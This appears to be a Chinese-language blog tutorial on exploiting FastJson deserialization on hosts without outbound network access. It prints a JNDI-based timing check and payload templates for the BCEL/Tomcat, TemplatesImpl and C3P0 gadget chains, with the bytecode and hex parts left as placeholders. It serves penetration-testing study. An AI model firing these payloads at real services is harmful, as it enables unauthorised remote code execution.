JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

知识点:

Java攻防-FastJson-不出网gadget链分析

演示案例-Java攻防-FastJson-不出网gadget链分析

0、FastJson不出网利用

参考:https://xz.aliyun.com/news/11938

参考:https://github.com/safe6Sec/Fastjson

总结:RCE不出网链全部是建立在将要执行的命令文件转成BCEL,BYTE,HEX等格式用到不同的依赖链进行调用执行。

1、延时判断是否存在漏洞

利用加载本地不存在的JNDI测试延时判断

bash 复制代码
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}






2、不出网利用-建立在不出网有漏洞:(不知道有无漏洞也可以测)

一、BCEL-Tomcat&Spring链

利用JavaBCEL字节码进行绕过,字节码就是Java源代码编译后的产物,它是一种中间代码,既不是完全的机器语言,也不是咱们写的那些高级语言代码。JVM(Java虚拟机)就是通过解释或编译这些字节码来运行咱们的程序。而BCEL字节码检测器是一个Java字节码操作库,可以用于分析、修改和创建Java类文件的字节码.

bash 复制代码
gadget链:
{
   "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
   "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
   },
   "driverClassName": "$$BCEL$$xxxx"
}







二、TemplatesImpl链-jdk自带的链

bash 复制代码
条件:JSON.parseObject(payload, Feature.SupportNonPublicField);

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["字节码"],
    '_name': 'a.b',
    '_tfactory': {},
    "_outputProperties": {},
    "_name": "b",
    "_version": "1.0",
    "allowedProtocols": "all"
}








三、c3p0链-第三方依赖包

条件:第三方依赖包

bash 复制代码
{
    "@type": "java.lang.Class",
    "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"f": {
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:;HEX值"
}




相关推荐
bzmK1DTbd12 小时前
SOLID原则在Java中的实践:单一职责与开闭原则
java·开发语言·开闭原则
winner888112 小时前
C++ 命名空间、虚函数、抽象类、protected 权限全套通俗易懂精讲(附与 Java 对比)
java·开发语言·c++
直奔標竿13 小时前
Java开发者AI转型第二十五课!Spring AI 个人知识库实战(四)——RAG来源追溯落地,拒绝AI幻觉
java·开发语言·人工智能·spring boot·后端·spring
qq_5895681013 小时前
java基础学习,案例练习,即时通讯
java·开发语言·学习
逸Y 仙X13 小时前
文章十九: ElasticSearch Full Text 全文本查询
java·大数据·数据库·elasticsearch·搜索引擎·全文检索
AI科技星13 小时前
全域数学·第卷:场计算机卷(场空间计算机)【乖乖数学】
java·开发语言·人工智能·算法·机器学习·数学建模·数据挖掘
0xDevNull13 小时前
Java泛型详解
java·开发语言·后端
嘻嘻哈哈樱桃13 小时前
牛客经典101题解题集--贪心算法+模拟
java·python·算法·贪心算法
AI进化营-智能译站14 小时前
ROS2 C++开发系列13-运算符重载让ROS2消息处理更自然
java·开发语言·c++·ai
shjita14 小时前
java根据键值对中值的大小进行排序的手法。
java·开发语言·servlet